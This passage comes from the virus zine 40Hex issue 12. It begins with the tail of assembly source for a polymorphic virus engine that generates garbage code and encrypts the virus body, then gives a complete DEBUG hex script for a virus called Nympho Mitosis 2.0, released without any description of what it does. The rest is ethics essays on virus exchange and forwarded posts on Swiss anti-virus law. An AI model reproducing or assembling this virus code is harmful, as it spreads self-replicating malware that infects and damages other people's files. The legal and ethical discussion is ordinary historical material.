test bp,200h
jz sub_nosave
mov ds:modify_op,2dh ; SUB AX,
sub_nosave: inc dx
inc cx
cmp ax,0
org $ - 2
add_inc: dec dx
dec cx
push ax
mov ax,5
call random ; 1 in 6 chance of FF
pop ax
push ax
jnz add_inc_40
mov ah,0ffh
xchg bl,bh
xchg al,ah ; AL=ff AH=Reg
stosb
xchg al,ah
add_inc_40: or al,bh ; set DEC/INC
stosb
pop ax
call garble
or dx,dx ; all done?
jnz add_loop
add_reg_exit: jmp modify_pop
add_noinc: call boolean ; ADD or SUB?
jz sub_reg
jmp modify_reg_add
sub_reg: test bp,200h ; keychange?
jnz sub_reg_key
neg dx
sub_reg_key: mov cx,2d00h + (5 shl 3) ; SUB
call boolean ; use SBB?
jz sbb_reg
jmp modify_reg_cont
sbb_reg: mov cx,1d00h + (3 shl 3) ; SBB
jmp modify_reg_clc
;=====( clear carry flag )===================================================;
clear_carry: push ax bp
or bp,800h ; don't change flags
mov al,0f8h ; CLC
call boolean
jnz clear_carry_clc
mov ax,0f5f9h ; STC/CMC
stosb
call garble
xchg al,ah
clear_carry_clc:stosb
call garble
pop bp ax
retn
garble: push ax
mov ax,2
call random ; how many times to call?
xchg cx,ax
jcxz garble_exit
garble_loop: call garble1
loop garble_loop
garble_exit: xchg cx,ax
pop ax
retn
;=====( add garbage code )===================================================;
garble1: push ax bx cx dx bp
test bp,100h ; Garble already executing?
jnz garble_ret
and bp,not 200h ; keychange not executing
or bp,100h ; Garble executing
call boolean
jnz garble_ret
mov cl,3
call random_1
xchg dx,ax ; DX=random number
call get_reg ; get register
jc garble_ret
mov bx,6
test bp,800h ; flag change allowed?
jz garble_f
mov bl,2
garble_f: call random_bx ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
jnz garble_xchg
or ah,89h
garble_reg_set: call boolean ; reg1, reg2 or reg2, reg1?
jz garble_reg_reg
or ah,2 ; 8b
xchg al,dl
garble_reg_reg: and dl,7 ; Get register values only
and al,7
shl dl,cl
or al,0c0h ; MOV reg1, random reg
or al,dl
xchg al,ah
stosw
garble_ret: pop bp
jmp modify_pop
garble_xchg: dec bx
jnz garble_1byte
xchg dx,ax
call get_reg ; get another reg
jc garble_ret
xchg dx,ax ; AL=reg1 DL=reg2
call boolean
jnz garble_xchgnoax
or dl,dl ; AX?
jz garble_xchgax
or al,al
jz garble_xchgax
garble_xchgnoax:or ah,87h ; XCHG reg1,
jmp garble_reg_reg
garble_xchgax: or al,90h
or al,dl ; XCHG AX, reg
garble_stosb: stosb
jmp garble_ret
garble_1byte: dec bx
jnz garble_modify
mov al,4
call random
mov bx,offset garble_1byte_tbl
xlat ; get 1 byte instruction
jmp garble_stosb
garble_modify: dec bx
jnz garble_add
call modify_reg ; ADD/XOR/OR reg1, random #
jmp garble_ret
garble_add: dec bx
jnz garble_mov
call add_reg ; ADD/SUB reg1, random #
jmp garble_ret
garble_mov: dec bx
jnz garble_op
call mov_reg ; MOV reg1, random #
jmp garble_ret
garble_op: and dh,00111000b ; get rnd op
mov ah,1
or ah,dh
jmp garble_reg_set
garble_1byte_tbl:
db 2eh
db 36h
cld
std
sti
;=====( Is BP a Pointer? )===================================================;
is_bp_ptr: cmp ds:ptr_reg,_bp
je bp_is_ptr
cmp ds:ptr_reg1,_bp
bp_is_ptr: retn
;=====( Get pointer register (DI/SI/BP/BX) )=================================;
get_ptr_regnext:call del_reg ; restore register to pool
get_ptr_reg: call get_reg ; get register
cmp al,_bx
je got_ptr_reg
cmp al,_bp
jb get_ptr_regnext
got_ptr_reg: retn
;=====( return random register in AL )=======================================;
get_reg: test bp,11101111b ; any registers free?
stc
jz get_reg_exit
get_reg_loop: mov ax,7
call random
push ax
cbw
call conv_num ; convert to bit map
test bp,ax ; is register free?
pushf
not ax
and bp,ax ; mark register
popf
pop ax
jz get_reg_loop
get_reg_exit: retn
;=====( Restore register to pool )===========================================;
del_reg: push ax
cbw
call conv_num ; convert to bit number
or bp,ax ; restore register
pop ax
retn
;=====( convert number to bit map )==========================================;
conv_num: push cx
mov cl,al
mov al,1
shl al,cl
pop cx
retn
;=====( randomize order of BX/CX/DX/SI, then call )==========================;
order: call garble
mov ax,2
call random
xchg cx,ax
inc cx
order_loop: call boolean
jnz order1
xchg bx,ax
order1: call boolean
jnz order2
xchg dx,ax
order2: call boolean
jnz order3
xchg si,ax
order3: loop order_loop
push si dx bx ax
order_ret: retn
;=====( return random number between 0 and ffff in bx )======================;
random_bx: xchg bx,ax
call random
xchg bx,ax
retn
;=====( flip Sign bit )======================================================;
boolean: push ax
mov ax,1
call random
pop ax
retn
;=====( return random number between 0 and ffff )============================;
random_1: mov ax,-1
;=====( Generate random number between 0 and AX )============================;
random: push ds bx cx dx ax
xor ax,ax
int 1ah
push cs
pop ds
in al,40h
xchg cx,ax
xchg dx,ax
mov bx,offset ran_num
xor ds:[bx],ax
rol word ptr ds:[bx],cl
xor cx,ds:[bx]
rol ax,cl
xor dx,ds:[bx]
ror dx,cl
xor ax,dx
imul dx
xor ax,dx
xor ds:[bx],ax
pop cx
xor dx,dx
inc cx
je random_ret
div cx
xchg ax,dx
random_ret: pop dx cx bx ds
or ax,ax
retn
ran_num dw ?
;=====( Encrypts the code/writes it/decrypts code )==========================;
encode: mov bx,ds:handle
mov ax,0
key = word ptr $ - 2
mov cx,(decrypt-v_start)/2
xor di,di
encode_break: clc
clc
clc
clc ; XCHG CX,AX XCHG CX,AX
clc
clc ; CLC ADD AX,xxxx / XOR [DI],AX
clc
clc ; XOR [DI],AX / CLC ADD AX,xxxx
inc di
inc di
loop encode_break
encode_ret = byte ptr $
mov ah,40h
mov cx,file_size
cwd
pushf
call cs:int_21
jc encode_flag
sub ax,cx
encode_flag: pushf
pop bp
mov word ptr ds:[si],0
encode_flip = word ptr $ - 2
mov byte ptr ds:write_buff[encode_ret-encode],0c3h
jmp encode
encode_end:
40Hex Number 12 Volume 3 Issue 3 File 006
This article is being written for 40-hex, because I believe
communication is the key to helping computing obtain its maximum
potential. I do not agree with all of the philosophies of many virus
writers. This article does not endorse the views of anyone other than
myself :), and does not endorse any other material that will appear in
this or any other issue of 40-hex. Many of the ideas expressed in this
article appeared in one of my submissions to Computer Underground
Digest. I'm writing this because I've had some good honest conversations
with some of the Phalcon/Skism people, and I appreciate them listening
to my views (even though they don't agree with them all).
Again, I am not going to get into this "not all viruses are meant to be
destructive, not everyone who calls a virus exchange BBS will use
viruses for evil purposes, some anti-virus product developers lie to
scare the users" business. I agree with all of this, and if you don't,
then you will have to find that out for yourself. Virus writers already
know this is true. If you are not a virus writer, and really don't know
what is going on, and are reading this magazine thinking that we need
laws to shut these guys down, you should do some investigation on your
own and find out what is really going on in the virus arena. These
arguments only cloud the issues, and the issue here is "What is going
on?". I can't tell you everything that is going on because I don't know,
but I tell you this much: Something's happening here....What it is ain't
exactly clear...
Computer viruses are programs but they are also more than 'just
programs'. I did an in-depth study of virus exchange BBS and found that
the viruses themselves did not have a signifant impact on the users. It
was more a case of certain attitudes having impact, and of the
(necessary) reaction on the part of security personnel and a-v product
developers having impact. By necessary action, I mean that each time a
virus writer releases a virus to a virus exchange BBS (losing control
over it) or releases it code in a magazine, people get scared.
Developers then have to put detection for that virus in their scanners.
Updates cost money. Some of this has changed since my study. More
viruses are being found in the wild. Some of this is due to their
intentional release, their availability on virus exchange BBS. Still,
the majority of the problem is not the distribution of the viruses but
the fostering of some of the attitudes. On the positive side, we see
some people finally calling for "responsible" action. Only time will
tell how long it lasts. To me, the P/S E-Mail virus site was a very bad
choice on the part of the administrators and I am glad it is gone.
Still, it was better than some situations which actively encourage using
viruses to cause damage. We don't yet live in that ideal world where we
can trust other people to act nice.
People want to say they can't help what someone else does with a virus
if they give it to them, but by exercising some common sense and
responsibility, they -can- help. It's not so much to ask considering the
future of cyberspace and it's freedoms are at stake here. If people keep
going like they are now, soon we will have laws that say we CANNOT give
certain code to anyone. Don't believe it? Read on.
When I talked about laws in the Fido Virus echos, virus writers told me
there is NO way there will be any laws against virus exchange BBS,
anywhere, ever. Free Speech. WRONG. Do you think I just pull this stuff
out of thin air?
It's not illegal to have such BBS in America. Not yet. They are illegal
in other countries. Specifically, the Dutch law (art.350a (3), 350b (2)
Sr.) addresses the distribution of computer viruses. "Any person who
intentionally or unlawfully makes available or distributes any
information (data) which is meant tto do damage by replicating itself in
an automated system shall be liable to a term of imprisonment not
exceeding four years or a fine of 100,000 guilders."
In Sweden, it's starting to sound more like this:
Anyone, who, without authorization - erases, modifies, or destructs
electronically or similarly saved or data, or anyone who, creates,
promotes, offers, makes available, or circulates in any way means
destined for unauthorized deletion, modification, or destruction of such
data, will, if a complaint is filed, receive imprisonment for up to
three years, a fine, or if there is considerable damage, five years
sentence.
Is that clear enough? It is against the law in Holland to INTENTIONALLY
(i.e. on purpose, i.e. if you put it online, you knew you put it there)
to make available ANY data (program) that can do damage..specifically a
replicating program. That means virus. And don't forget that magic word,
"extradition". The Swiss laws are in draft stage.
Now, a lot of virus writers say they can't be held responsible for a
virus doing damage if they don't mean for it to escape, or if someone
else uses it. Wrong again. The law of negligence allows victims of
accidental injury to sue to obtain compensation for losses caused by
another's negligence. But, it's even more applicable if you consider the
aspect of torts. You can have what is called an intentional tort (which
is what lawyers use to refer to suits that try to get dollars for
damages, such as libel, fraud). In these kinds of cases, you may think
just because you didn't mean for your virus to 'escape' you are not
legally responsible (forgetting about ethics for a minute. A lot of
virus writers seem to think if its not illegal to do xyz, xyz is
therefore ok to do. So lets put ethics aside and look at legalities).
You are indeed legally responsible because all that is necessary to
establish intentional torts is that you -intended- to do the act (write
the virus) that caused the harm. The law of negligence allows victims of
accidental injuries to sue for compensation due to negligence. This of
course refers to U.S. law, and is not in any way a complete reference,
but you can get the general idea. You don't just have free rein.
But, the law is not the solution, in my opinion. However, you can force
it to become the solution if you do not take responsibility for your
actions. If you keep making these viruses available indiscrimately, you
are creating LAWS, just as surely as if you had written the law with
your own hand.
Stop to think for a moment of the implications of this. The Dutch
enacted laws as the abuse of computerized equipment increased. While
some laws already existed that addressed computer crime, it became clear
that some intentional damage was being done that was slipping through
the loopholes in the law. Something must be going on that caused them to
react so strongly, to specifically include virus exchange bulletin
boards in this legislation. What was going on? Malicious damage.
Incitement. Actions that helped people to do damage. What is this
"incitement"?
Incitement. That is a term that is getting a lot of publicity now, with
Mike Elansky held on $500,000 bail for distributing a text file on his
BBS. The file contained the following text:
! Note to Law-enforcement type people: ! ! This file is intended
to promote ! ! general havoc and *ANARCHY*, and ! ! since your
going to be the first ! ! assholes up against the wall.. there ! !
isnt a damn thing you can do about ! ! it, pigs!
!
It may be distasteful to some people, but the kind of information
included in the file was the same 'anarchy' type information you can get
at your local library. Does it merit a young man being locked up with an
almost impossible bail? It's no worse than a lot of the graffitti you
can find in Manhattan, or LA, and it's no worse than you can hear on a
lot of albums. To me personally, it's just silliness. I know the fellow
who wrote the file, and I don't find him to be a threatening anarchist.
He's a fine person, who wrote the above as a parody-spoof. It is not
much different than the things you hear in the halls at most high
schools these days. I'm not saying it's a desireable manner of
expressing dissatisfaciton with the system, but its *NOT* the devil
incarnate.
Someone had it on their BBS, someone downloaded it, and now, the BBS
sysop is in jail for it. Something's happening here...
Fear. People are afraid. They are chasing the shadowy ghost, and imagine
it is 'the virus writer' or 'the hacker'. Well, virus writers and
hackers may do some of these things, but the majority of them do not.
the publicity. Why? Because they want it. And, what happens when they
want it, and get it? More fear. The real ghost is ignorance and fear,
not the virus writer or hacker. On the other hand there ARE some very
malicious people out there. And, maybe to protect people from them, we
will need laws. The way it stands right now, no one knows who is
malicious and who is not because everyone is hiding behind the "law".
This will change, very soon, if people do not stop thinking they can
just do whatever they like because its "legal". Laws are established
when new situations come about, and some people are pushing the envelope
here.
One thing that is happening is that people are afraid to say something
is wrong. We all have to stop being afraid to say something is WRONG. It
is WRONG to destroy or damage data of other people.
It's WRONG to encourage people to do it. and, if you can't figure out
what encourages people, then you had better figure it out soon, because
we don't have much time left.
I say you better figure it out fast because right now, people are up in
arms about computer viruses. They have every right in the world to
expect they shouldn't have to be on guard against any 'toys' that happen
to escape. They certainly deserve to be protected from people who
malicious release, or -irresponsibly release- viruses. They should not
have to learn every in and out of DOS to protect themselves. For most
people, computers are work. They are not just hack-o-matik machines
waiting to be explored. No one has the right to destroy other people's
information. Just like we don't want the government or other people to
just do whatever they feel like with -our- information, we have to
respect other people's rights to -their- information.
It isn't working. There are still people who are doing malicious things
with viruses. In talking with a lot of virus writers, I've pretty much
gotten the same story. After a while, it's just not fun to do it
anymore, and they evolve into learning more about code in general. They
no longer upload it to unsuspecting people. Most of them don't even use
virus exchange BBS, because there is just not any point. You can only
get excited over FF/FN so many times, and sooner or later you move on to
other things. But there is still a problem. Newcomers to the virus scene
pass thru the same stages; they release their viruses either through
incompetence or purposeful maliciousness, to 'prove' themselves. It's
almost like a rite of passage.
It is this group, the intentionally malicious, that are drawing all of
the attention. It is this group that forced the hand of the Dutch
government. It is this group, malicious virus writers and hackers that
are drawing the attention of the the Legislators and Judiciary in the
United States, Canada, and now Switzerland.
Consider that we are living in a truly global society. The laws cannot
forever be bound by traditional territorial borders. Think of the
implications for the future. Being held hostage by one's freedoms tends
to make one rethink their "Rights". -------
--
SGordon@Dockmaster.ncsc.mil / vfr@netcom.com bbs: 219-273-2431
fidonet 1:227/190 / virnet 9:10/0 p.o. box 11417 south bend, in 46624
*if you don't expect too much from me then you might not be let down*
----
I originally had a huge response for this, but I found that a
majority of my arguments were more aimed at the point of view she was
explaining, rather then her viewpoint. The bottom line is, laws that
regulate information are horrible. If it happens, it is unenforcible.
I do not believe that virus writers should be 'nice', or politically
correct, and I dont ever plan on removing virus source from 40Hex.
Another problem with her article is the part about virus writers doing
whatever they like just because it is 'legal'. The point is, because
it IS legal, we can write viruses. People also break the law and
distribute viruses. It is NOT wrong to write a virus. By any morality.
It is wrong to use it on someone else's computer illegally. For the
most part I agree with Sara Gordon. Before you go about saying she is a
narc, and she did this, and she did that, just ask yourself what have
you done about virus legislation. If it is equal to zero, zilch, nada,
etc., then you should at least give her the credit of doing something to
help the underground, despite the rumors. I don't care whether you
trust Sara Gordon, but realize that in this issue she is definately
fighting the legislation.
40Hex Number 12 Volume 3 Issue 3 File 007
This is the latest virus from our newest member Memory Lapse. This
time, we aren't going to tell you what it does, so, enjoy it. It is
called Nympho Mitosis 2.0.
->Gheap
-------<snip, snip, snip>-----------------------------
n nympho20.com
e 0100 BD 00 00 48 CD 21 BB 4D 5A 74 53 1E 06 33 FF 8C
e 0110 C0 48 8E D8 38 3D 75 44 88 1D 83 6D 03 44 83 6D
e 0120 12 44 8B 45 12 8E D8 40 8E C0 88 3D C7 45 01 08
e 0130 00 C7 45 03 43 00 0E 1F 8D B6 00 01 81 F7 00 01
e 0140 B9 94 01 F3 A5 B8 89 01 8E D9 87 06 84 00 26 A3
e 0150 BC 01 8C C0 87 06 86 00 26 A3 BE 01 07 1F 8D B6
e 0160 FB 03 2E 3B 1C 74 13 86 FB 2E 2B 1C 74 0C BF 00
e 0170 01 57 C6 05 C3 FF D7 A4 A5 C3 8C C0 05 10 00 2E
e 0180 03 44 16 50 2E FF 74 14 CB 3D FF FF 75 02 40 CF
e 0190 80 FC 4E 74 33 80 FC 4F 74 2E 80 FC 11 74 56 80
e 01A0 FC 12 74 51 06 1E 60 33 ED 3D 00 6C 74 12 80 FC
e 01B0 3D 74 0F 2D 00 4B 74 0D 61 1F 07 EA 00 00 00 00
e 01C0 87 D6 E9 C2 00 E9 20 01 E8 2A 02 72 25 60 06 B4
e 01D0 2F CD 21 26 8B 47 16 26 8B 4F 18 25 1F 00 83 E1
e 01E0 1F 49 33 C1 75 0A 26 81 6F 1A 13 03 26 19 47 1C
e 01F0 07 61 CA 02 00 E8 FD 01 84 C0 75 3F 60 06 B4 51
e 0200 CD 21 8E C3 26 2B 1E 16 00 75 2E 8B DA 8A 07 50
e 0210 B4 2F CD 21 58 FE C0 75 03 83 C3 07 26 8B 47 17
e 0220 26 8B 4F 19 25 1F 00 83 E1 1F 49 33 C1 75 0A 26
e 0230 81 6F 1D 13 03 26 19 47 1F 07 61 CF 5B 4E 79 6D
e 0240 70 68 6F 20 4D 69 74 6F 73 69 73 5D 20 76 32 2E
e 0250 30 00 43 6F 70 79 72 69 67 68 74 20 28 63 29 20
e 0260 31 39 39 33 20 4D 65 6D 6F 72 79 20 4C 61 70 73
e 0270 65 00 50 68 61 6C 63 6F 6E 2F 53 6B 69 73 6D 20
e 0280 43 61 6E 61 64 61 00 E8 30 01 26 8B 45 0D 26 8B
e 0290 4D 0F 25 1F 00 83 E1 1F 49 2B C1 75 48 E8 44 01
e 02A0 52 50 2D 18 00 1B D5 26 89 45 15 26 89 55 17 B4
e 02B0 3F B9 18 00 BA 13 04 CD 21 E8 1F 01 B4 40 CD 21
e 02C0 58 5A 2D 13 03 1B D5 26 89 45 15 26 89 55 17 B4
e 02D0 40 8B CD CD 21 26 8B 4D 0D 26 8B 55 0F 80 E1 E0
e 02E0 FE C1 E9 C9 00 E9 CB 00 E8 CF 00 26 8B 45 0D 26
e 02F0 8B 4D 0F 25 1F 00 83 E1 1F 49 33 C1 74 32 B4 3F
e 0300 B9 18 00 BA FB 03 CD 21 B8 4D 5A BE 13 04 8B 16
e 0310 FB 03 3B C2 74 1D 86 E0 2B C2 74 17 E8 C5 00 A3
e 0320 01 01 B9 03 00 2B C1 C6 04 E9 89 44 01 51 EB 57
e 0330 E9 80 00 26 8B 45 20 3D 54 42 74 F4 3D 46 2D 74
e 0340 EF 3D 53 43 74 EA 2D 43 4C 74 E5 E8 8D 00 B4 3F
e 0350 51 8B D6 CD 21 E8 8C 00 52 50 05 13 03 13 D5 B9
e 0360 00 02 F7 F1 0B D2 74 01 40 89 54 02 89 44 04 58
e 0370 5A B9 10 00 F7 F1 2B 44 08 89 54 14 89 44 16 81
e 0380 EA 00 01 89 16 01 01 B4 40 B9 13 03 BA 00 01 CD
e 0390 21 E8 47 00 B4 40 59 8B D6 CD 21 26 8B 4D 0D 26
e 03A0 8B 55 0F 52 83 E1 E0 83 E2 1F 4A 0B CA 5A B8 01
e 03B0 57 CD 21 B4 3E CD 21 E9 FE FD B8 00 3D E8 35 00
e 03C0 93 53 0E 0E 1F 07 B8 20 12 CD 2F B8 16 12 26 8A
e 03D0 1D CD 2F 5B 26 C7 45 02 02 00 C3 26 89 6D 15 26
e 03E0 89 6D 17 C3 1E 26 C5 45 11 8C DA 26 89 45 15 26
e 03F0 89 55 17 1F C3 9C 0E E8 C1 FD C3 CD 20 02 00 04
e 0400 00 06 00 08 00 0A 00 0C 00 0E 00 10 00 12 00 14
e 0410 00 16 00
rcx
0313
w
q
------------------------------------------------------
40Hex Number 12 Volume 3 Issue 3 File 008
Article #1
----------
Subj: Draft Swiss AntiVirus regulation
To whom it may concern:
The Swiss Federal Agency for Informatics (Bundesamt fuer Informatik, Bern) is
preparing a legislative act against distribution of malicious code, such
as viruses, via VxBBS etc. You may know that there have been several attempts
to regulate the development and distribution of malicious software, in UK, USA
and other countries, but so far, Virus Exchange BBS seem to survive even in
countries with regulations and (some) knowledgeable crime investigators.
In order to optimize the input into the Swiss legal discussion, I suggested
that their draft be internationally distributed, for comments and suggestions
from technical and legal experts in this area. Mr. Claudio G. Frigerio from
Bern kindly translated the (Swiss) text into English (see appended text, both
in German and English); in case of any misunderstanding, the German text is the
legally relevant one! Any discussion on this forum is helpful; please send
your comments (Cc:) also to Mr. Claudio G. Frigerio (as he's not on this list).
"The Messenger" (Klaus Brunnstein: October 9, 1993)
###############################################################
Appendix 1:
Entwurf zu Art. 144 Abs. 2 des Schweizerischen Strafgesetzbuches
"Wer unbefugt elektronisch oder in vergleichbarer
Weise gespeicherte oder uebermittelte Daten loescht,
veraendert oder unbrauchbar macht, oder Mittel, die
zum unbefugten Loeschen, Aendern oder Unbrauchbarmachen
solcher Daten bestimmt sind, herstellt oder anpreist,
anbietet, zugaenglich macht oder sonstwie in Verkehr
bringt, wird, auf Antrag, mit der gleichen Strafe belegt."
P.S.: gleiche Strafe =JBusse oder Gefaengnis bis zu 3 Jahren;
bei grossem Schaden, bis zu 5 Jahren Gefaengnis sowie Verfolgung
von Amtes wegen (Offizialdelikt)
###############################################################
Draft of article 144 paragraph 2 of the Swiss Penal Code
(English translation)
"Anyone, who, without authorization
- erases, modifies, or destructs
electronically or similarly saved or data,
or anyone who,
- creates, promotes, offers, makes available, or circulates in
any way
means destined for unauthorized deletion, modification, or
destruction of such data,
will, if a complaint is filed, receive the same punishment."
P.S.: same punishment =Jfine or imprisonment for a term of up to
three years; in cases of a considerable dam-age, five years with
prosecution ex officio
###############################################################
Author: Claudio G. Frigerio, Attorney-At-Law
Swiss Federal Office of Information Technology and System,
e-mail: bfi@ezinfo.vmsmail.ethz.ch
###############################################################
Article 2:
---------
Subj: More about Swiss Anti-Virus Laws
Thanks to everybody who replied on the subject of Swiss Anti-Virus Legis-
lation.
As somebody noticed there was a word missing in the English translation. It
should have been: "... destructs electronically or similarly saved or TRANS-
MITTED data will..."
The text posted to the net, was a trial to include into the "data damaging"
even creation and dealing/circulating computer viruses. The idea behind this,
is that the virus itself already carries the malicious intent of his author.
Therefore it is dangerous in any circumstance. Actually a virus can not be
abused, as the idea of abuse includes the possibility, that a virus can be
used in a good way too. As I have been told by specialists, there is no such
"good use" of a virus as any unauthorized change of data has the potential of
interfering with other data and/or programs in environments, that the virus
author did/could not foresee. And even the unauthorized use of storage space
is a damage, as this space will not be available for authorized uses of the
computer system. Computer virus are an "absolute danger", and as any other
dangerous thing (like explosive, poison, radioactiv materials or genetic
materials in specialized labs) computer virus should not be created or
circulated without restrictions.
It has been remarked that in the text there was no word about the requisite
intent or requisite knowledge of the committer. This way any BBS sysop would
always risk criminal charges, if his BBS carries any virus infected software
but the sysop isn't aware of it.
I apologize for not having told that Swiss Penal Law only considers inten-
tional crimes, if there is no explicit indication that negligent acts are
punished too. Therefore according to Swiss Penal Law terminology and system,
the text posted to the net only considers who "knowingly and willingly"
commits the act. That means that the author of the virus has to know it was
a virus, what he created: this is always the case. And who circulates the
virus has to know it was a virus and he wanted to circulate it. The know-
ledge that SW was or carried a virus can be proved easily by the fact that
nobody knowingly stores viruses without labeling or marking them in any way,
in order not to be infected himself (yes, I know: if there really is somebody
so foolish, I have to find another way to prove his knowledge). For BBS a
"Virus Directory" containing viruses or virus source codes is evidence enough
for the "requisite knowledge and intent". The law does no want to punish
accidental distribution of viruses.
The phrase "means destined for unauthorized deletion" has been considered
unclear. "Means" certainly includes not only software, but source code (on
paper as on disks) too. It has been remarked that it's the classical tool-
maker problem: a knife can be used as woodcarver to make a great work, but
it might be used aven as a thug to commit murder.
I realized this problem, but would you consider a knife as generally
destined to commit murder? Or would you consider explosive as generally
destined to create damage? We have to be aware that most items can be used
in a legal or abused in an illegal way. Seldom an item can only be used in
an illegal way, but computer viruses are such items! I do not speak about
software using virus specific reproduction techniques (like "killer viruses"
for copyright enforcement or "anti-viruses" supposed to fight viruses) that
make data changes with the explicit (contract/license) or implicit (highly
probable agreement of the user) authorization of the user. This kind of SW
is actually not included in the definition of "means destined for unatho-
rized deletion, modification, or destruction of data".
Therefore you cannot say that Norton Utilities, WipeFile or any other
similar general purpose SW or utilities are "destined for unautorized
deletion, modification or destruction", although they certainly could be
used for this.
The text doesn't say anything about malice, malicious intents or the intent
to damage, as these elements are very difficult to prove in trial, if the
accused denies any such intention. Actually I considered these subjective
elements as not really necessary, as the virus already carries the malicious
intent of its author: the malice of the author is proved by his virus, and
the malice of somebody circulating the virus is proved, if his knowledge,
that he was circulating a virus, is proved.
According to general principles of penal law the site of crime is the main
link to charge somebody. If a virus has been created or circulated outside
the national borders of Switzerland, Swiss Penal law cannot be applied. But
if a virus created outside Switzerland is transferred electronically to
Switzerland, the downloader will be held responsible, no matter if he was
in Switzerland or abroad, as "importing" as a way to circulate the virus.
The "success" of the act will take place in Switzerland. Anyway Art. 7 of
Swiss Penal Law follows the principle of territoriality and the
"Ubiquitaetsprinzip" (sorry: didn't find the correct English word: an act
is considered being committed not only where the committer was, when he
started his crime, but also where the "success" has been realized. Anyway
I do consider clearifing this by inserting that "importing" virus is
considered as "circulating in any way".
As this crime is prosecuted as soon as police or prosecution authority knows
about it (so called "ex officio", there is no need for a specific complaint:
a detailed information about a fact is enough to start investigations, no
matter where the information came from (e.g. abroad).
There is no doubt, that professional ant-virus specialists and scientists
should have access to viruses and be allowed to even create viruses. As
long as this is covered by the aim of studying strategies to fight
computer viruses, this is OK. I actually planned a system of registrering
these people with a federal authority (e.g. the IS Security Dptm. at the
Swiss Federal Office of Information Technology and Systems or the Ministery
of Justice). The posted text would be then need to be completed as follows:
"Who, without being registered with the proper federal authority, creates...
Only trustworthy individuals, who are professionally or scientifically
active in combatting such means, may be registered on demand."
The Swiss legislator is actually not only considering "data damaging" but
"hacking", "time theft" and computer fraud too, but these ARE NOT subjects
of the discussion in this forum now. The same applies to software piracy,
already ruled by another law. I will gladly email/fax the German, French or
Italian text of the Penal Law draft to anybody interested. Please do not
ask me an English translation of these, as I am not a professional English
translator of legal text.
I am aware that the UK and Italy have/are going to have laws allowing to
prosecute the creation and circulation of computer viruses. If anybody
knows of other contries, may he please let me know in any way and as soon
as possible.
On Monday, 25 October 1993, there will a meeting with the Ministery of
Justice in order to convince them to propose this to the Parliament. This
will be very very difficult, as there generally is very little knowledge
on, or concern for the threat through computer viruses. Most people have
simply never suffered an attack of computer viruses.
Thanks again for following this item with your comments.
Claudio G. Frigerio
P.S.: Please do not suggest to me to send them a floppy with a ..... just
to make them more aware of the risks...
P.P.S.: You can phone/email/fax/write to me in Italian, German, French,
Spanish or English.
Article #3
----------
Subj: Detection complexity of some newish viruses. (PC)
A while back (January 93) a few people posted sizes of their algorithmic
virus detectors. Here are the line counts for a couple more detectors
included (or to be included) in IBM AntiVirus.
These counts are for lines of C; the code is not particularly dense.
The SatanBug (*) count includes some tables. (File I/O handling is
*not* included in these counts. The lines-of-code counter is a standard
counter used in many IBM development projects. I'm not completely sure
what rules this lines-of-code counter uses. Some lines are
counted as both code and comment lines.)
SatanBug ::= 421 physical lines, 173 comment lines, and 187 code lines
Tremor ::= 165 physical lines, 36 comment lines, and 107 code lines
(*) There is some disagreement about the name of this virus.
Bill Arnold, barnold@watson.ibm.com (IBM AntiVirus Development)
Article 4:
----------
Subj: Electronic Warfare
The October 18th issue of Aviation Week has an interesting item in its
Washington Outlook column on future developments in electronic warfare.
Paraphrase follows:
A Pentagon official, H. Steven Kimmel, deputy director of C3I testing
and evaluation in the Pentagon acquisition office, said the next
developments in "non-lethal electronic combat" should be on methods
of injecting deceptive information and computer viruses into enemy
command, control, communication and intelligence systems and into
enemy communication nodes and data bases. Kimmel was speaking to the
Association of Old Crows, a group of electronic warfare specialists.
He further said that the U.S. needs this "nonlethal capability" both
defensively and offensively. It was pointed out that American C3I
systems are vulnerable because of their many nodes and reliance on
computers and commercial off the shelf components.
Article 5:
----------
Subj: Swiss Anti Virus Law
On November 11, 1993 the Law Committee of the 2nd Chamber of the Parliament
(German: "Staenderat"; a kind of "Swiss Senate") decided to accept the anti-
virus propositions. The Staenderat will probably discuss in Parliament and
decide on the subject by December 1993. In the Law Committee there was
practically no opposition to the law draft; thus it is very likely that the
Staenderat will accept it too. After this the "Nationalrat" (the 1st Chamber of
Parliament, a kind of "Swiss House of Representatives" or "Swiss Congress")
will discuss the draft and decide about it by Spring 1994.
The Swiss law draft, posted to the net, has been changed considerably in the
last few weeks. The draft actually discussed in Parliament will be:
German text:
Schweizerisches Strafgesetzbuch, Artikel 144bis, Datenbeschaedigung
1. Wer unbefugt elektronisch oder in vergleichbarer Weise
gespeicherte oder uebermittelte Daten loescht, veraendert oder
unbraucbar macht, wird, auf Antrag, mit Gefaegnis oder mit Busse
bestraft.
Hat der Taeter einen grossen Schaden verursacht, so kann auf
Zuchthaus bis zu fuenf Jahren erkannt werden. Die Tat wird von
Amtes wegen verfolgt.
2. Wer Programme, von denen er weiss oder annehmen muss, dass sie
zu den in Ziffer 1 genanten Zwecken verwendet werden sollen,
herstellt, einfuehrt, in Verkehr bringt, anpreist, ueberlaesst oder
sonstwie zugaenglich macht oder zu ihrer Herstellung Anleitung gibt,
wird mit Gefaegnis oder mit Busse bestraft.
Handelt der Taeter gewerbsmaessig, so kann auf Zuchthaus bis zu
fuenf Jahren erkannt werden.
English text:
Swiss Criminal Code, Article 144bis, Damaging of data
1. Anyone, who without authorization deletes, modifies or renders
useless electronically or similarly saved or transmitted data, will,
if a complaint is filed, be punished with the imprisonment for a
term of up to 3 years or a fine of up to 40000 Swiss francs.
If the person charged has caused a considerable damage, the
imprisonment will be for a term of up to 5 years. The crime will
be prosecuted ex officio.
2. Anyone, who creates, imports, distributes, promotes, offers,
makes available, circulates in any way, or gives instructions to
create programs, that he/she knows or has to presume to be used
for purposes according to item 1 listed above, will be punished
with the imprisonment for a term of up to 3 years or a fine of up
to 40000 Swiss francs.
If the person charged acted for gain, the imprisonment will be for
a term of up to 5 years.
This English translation may not be perfect. The text will be available by
January 1994 in all official Swiss languages: German, French and Italian.
The protected item of this article are just data (immaterial goods). Any damage
to computer systems, like the burning of floppies, plug-pulling, sledgehammers
etc. are damages to "physical/material things" covered by article 144
(Sachbeschaedigung, damage to property).
According to Swiss penal legislation the requisite knowledge and intent
("knowingly and willingly") have not to be mentioned specifically.
As you may have noticed, the "registration" of IS security pros has been
dropped. The expression "that he/she knows or has to presume to be used for
purposes according to item 1 listed above" will exclude any penal responsibi-
lity if the committer e.g. gave a virus to a professional anti-virus software
developer or is creating viruses for research, as in these and similar special
situations a misuse of the virus is highly unlikely. The committer will not be
